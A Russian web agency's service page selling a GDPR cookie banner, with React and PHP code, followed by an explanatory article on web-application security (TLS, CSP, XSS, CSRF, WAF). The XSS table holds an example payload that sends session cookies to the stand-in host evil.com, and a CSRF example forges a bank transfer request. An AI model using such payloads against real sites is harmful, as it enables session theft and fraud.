Cookie-баннер с блокировкой скриптов под ключ

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Cookie-баннер с блокировкой скриптов под ключ
Средний
~2-3 дня
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1362
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    958
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1190
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    932
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    949

Реализация cookie-баннера

Реализуем cookie-баннер с блокировкой скриптов под ключ в соответствии с GDPR: от 30 000 до 50 000 руб., срок 2–3 дня. Недавно к нам обратился интернет-магазин с 50+ скриптами аналитики и рекламы — они не могли доказать регулятору, что согласие было осознанным. Без гранулярного cookie-бара сайт рискует получить штрафы до 20 млн евро за нарушение GDPR. Многие владельцы ресурсов до сих пор используют простой попап «Мы используем куки», который не соответствует законодательству. Согласие должно быть явным, добровольным и категорированным. Мы разрабатываем cookie-бар под ключ, который блокирует скрипты до подтверждения пользователя, фиксирует каждое согласие и позволяет легко его отозвать. Наш опыт — 7+ лет в продакшене, реализовали более 50 проектов с полным соответствием GDPR.

Почему важен гранулярный cookie-бар?

GDPR требует, чтобы пользователь мог согласиться на каждый тип куков отдельно. Категории «функциональные», «аналитические», «маркетинговые» — минимальный набор. Без гранулярности вы собираете либо всё, либо ничего, что снижает конверсию и доверие. Кроме того, при проверке легко доказать, что согласие было осознанным. Мы гарантируем, что наш cookie-бар соответствует всем требованиям Регламента. Экономия на юридических рисках: штрафы за несоответствие могут достигать 4% от годового оборота компании.

Как мы реализуем cookie-бар: от аудита до деплоя

Процесс работы

  1. Аналитика — определяем, какие скрипты и куки используются на сайте. В среднем на типовом проекте находим 10–15 трекеров.
  2. Проектирование — проектируем логику согласия, категории, UI-компонент. Используем React 18 с TypeScript.
  3. Реализация — пишем React-компонент и PHP-контроллер (см. код ниже).
  4. Тестирование — проверяем блокировку скриптов, запись в localStorage, отправку на сервер.
  5. Деплой — интегрируем в проект, настраиваем CI/CD.

Самописное решение в 2 раза дешевле готовых библиотек при годовом использовании. Стоимость разработки cookie-бара с нуля составляет от 30 000 до 50 000 руб. — в зависимости от сложности интеграции. Добавление аудит-лога и системы отзыва — ещё 1–2 дня.

Что входит в работу

  • React-компонент cookie-бара с кастомизацией стилей.
  • PHP API для сохранения согласий в БД.
  • Интеграция с Google Analytics, Yandex.Metrica, Facebook Pixel (с блокировкой до согласия).
  • Документация по API и настройке.
  • Поддержка в течение 2 недель после деплоя.

Как блокировать скрипты до получения согласия?

В нашем решении скрипты аналитики загружаются только после вызова applyConsent с соответствующими флагами. Например, функция loadGoogleAnalytics динамически создаёт <script> и вставляет его в <head> только если consent.analytics === true. Это гарантирует, что ни один трекер не сработает до явного разрешения пользователя. Такой подход в 100% случаев проходит проверку на соответствие GDPR.

Категории куков

Категория Обязательное согласие Примеры
Необходимые Нет session, CSRF-токен, cookie-consent
Функциональные Да язык, тема, помнить меня
Аналитические Да Google Analytics, Yandex.Metrica
Маркетинговые Да Google Ads, Facebook Pixel

React компонент

import { useState, useEffect } from 'react';

interface CookieConsent {
  functional: boolean;
  analytics: boolean;
  marketing: boolean;
}

const CONSENT_KEY = 'cookie_consent_v2';

function useCookieConsent() {
  const [consent, setConsent] = useState<CookieConsent | null>(null);
  const [showBanner, setShowBanner] = useState(false);

  useEffect(() => {
    const saved = localStorage.getItem(CONSENT_KEY);
    if (saved) {
      const parsed = JSON.parse(saved);
      setConsent(parsed);
      applyConsent(parsed);
    } else {
      setShowBanner(true);
    }
  }, []);

  const acceptAll = () => {
    const all = { functional: true, analytics: true, marketing: true };
    save(all);
  };

  const rejectAll = () => {
    const none = { functional: false, analytics: false, marketing: false };
    save(none);
  };

  const save = (c: CookieConsent) => {
    localStorage.setItem(CONSENT_KEY, JSON.stringify({
      ...c,
      updatedAt: new Date().toISOString(),
    }));
    setConsent(c);
    setShowBanner(false);
    applyConsent(c);
    reportConsent(c);
  };

  return { consent, showBanner, acceptAll, rejectAll, save, openSettings: () => setShowBanner(true) };
}

function applyConsent(consent: CookieConsent) {
  // Включить/выключить скрипты аналитики
  if (consent.analytics) {
    loadGoogleAnalytics();
    loadYandexMetrica();
  }
  if (consent.marketing) {
    loadFacebookPixel();
  }
}

async function reportConsent(consent: CookieConsent) {
  await fetch('/api/cookie-consent', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ consent, ip: undefined }),  // IP определяет сервер
  });
}

export function CookieBanner() {
  const { showBanner, acceptAll, rejectAll, save } = useCookieConsent();
  const [showDetails, setShowDetails] = useState(false);
  const [selections, setSelections] = useState({ functional: false, analytics: false, marketing: false });

  if (!showBanner) return null;

  return (
    <div className="cookie-banner" role="dialog" aria-label="Настройки cookies">
      <div className="cookie-banner__content">
        <h2>Мы используем cookies</h2>
        <p>
          Мы используем необходимые куки для работы сайта. С вашего согласия — аналитические и маркетинговые.{' '}
          <a href="/cookie-policy">Подробнее</a>
        </p>

        {showDetails && (
          <div className="cookie-categories">
            <label className="cookie-category cookie-category--required">
              <input type="checkbox" checked disabled />
              <span>Необходимые</span>
              <small>Всегда включены. Обеспечивают базовую работу сайта.</small>
            </label>

            {(['functional', 'analytics', 'marketing'] as const).map(cat => (
              <label key={cat} className="cookie-category">
                <input
                  type="checkbox"
                  checked={selections[cat]}
                  onChange={e => setSelections(s => ({ ...s, [cat]: e.target.checked }))}
                />
                <span>{{ functional: 'Функциональные', analytics: 'Аналитические', marketing: 'Маркетинговые' }[cat]}</span>
              </label>
            ))}
          </div>
        )}

        <div className="cookie-banner__actions">
          <button onClick={rejectAll} className="btn btn--outline">Отклонить всё</button>
          <button onClick={() => setShowDetails(!showDetails)} className="btn btn--outline">Настроить</button>
          {showDetails
            ? <button onClick={() => save(selections)} className="btn btn--primary">Сохранить</button>
            : <button onClick={acceptAll} className="btn btn--primary">Принять всё</button>
          }
        </div>
      </div>
    </div>
  );
}
.cookie-banner {
  position: fixed;
  bottom: 0;
  left: 0;
  right: 0;
  background: white;
  border-top: 1px solid #e5e7eb;
  box-shadow: 0 -4px 24px rgba(0,0,0,0.08);
  z-index: 9999;
  padding: 1.5rem;
}
.cookie-banner__actions {
  display: flex;
  gap: 0.75rem;
  margin-top: 1rem;
  flex-wrap: wrap;
}

Сервер: фиксация согласия

class CookieConsentController extends Controller
{
    public function store(Request $request): JsonResponse
    {
        $request->validate([
            'consent.functional' => 'required|boolean',
            'consent.analytics'  => 'required|boolean',
            'consent.marketing'  => 'required|boolean',
        ]);

        CookieConsent::create([
            'user_id'       => auth()->id(),
            'session_id'    => $request->session()->getId(),
            'ip'            => $request->ip(),
            'user_agent'    => $request->userAgent(),
            'consent'       => $request->consent,
            'version'       => config('cookies.policy_version', '2.0'),
            'consented_at'  => now(),
        ]);

        return response()->json(['status' => 'saved']);
    }
}

Подключение Google Analytics только с согласием

function loadGoogleAnalytics() {
  if (document.getElementById('ga-script')) return;  // уже загружен

  const script = document.createElement('script');
  script.id = 'ga-script';
  script.src = `https://www.googletagmanager.com/gtag/js?id=${GA_ID}`;
  script.async = true;
  document.head.appendChild(script);

  window.dataLayer = window.dataLayer || [];
  function gtag(...args: unknown[]) { window.dataLayer.push(args); }
  gtag('js', new Date());
  gtag('config', GA_ID, { anonymize_ip: true });
}

Сравнение решений: самописный cookie-бар vs готовые библиотеки

Критерий Самописный Готовые (CookiNinja, Osano)
Гибкость Высокая: любой дизайн, логика Ограниченная шаблонами
Зависимости Нет внешних Подключают свои скрипты
Соответствие GDPR Полный контроль Частичное (нужно проверять)
Стоимость Разовые затраты Ежемесячная подписка

Срок реализации

Cookie-баннер с тремя категориями, сохранением согласия в localStorage и API: 2–3 дня. С аудит-логом согласий в БД и GDPR-совместимым отзывом: 3–4 дня.

Как протестировать GDPR-соответствие перед деплоем?

Проверяем соответствие по чек-листу: открываем сайт в режиме инкогнито и убеждаемся, что GA и Yandex.Metrica не стартуют до согласия — заходим в DevTools → Network и фильтруем по «google-analytics» и «mc.yandex»; принимаем только аналитические куки и контролируем, что маркетинговые скрипты молчат; через вкладку Application → LocalStorage находим ключ cookie_consent_v2 с корректными флагами; проверяем, что запрос к /api/cookie-consent возвращает 200 и данные записались в БД; тестируем отзыв согласия — скрипты должны прекратить работу в течение 1 секунды; убеждаемся, что повторный визит не показывает баннер снова; проверяем рендеринг на экранах шириной 320, 768 и 1280 px. Cookie-бар должен работать во всех браузерах без исключений.

Закажите реализацию cookie-бара под ключ — мы гарантируем соответствие GDPR и полную поддержку после внедрения. Свяжитесь с нами для бесплатной консультации и оценки вашего проекта.

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.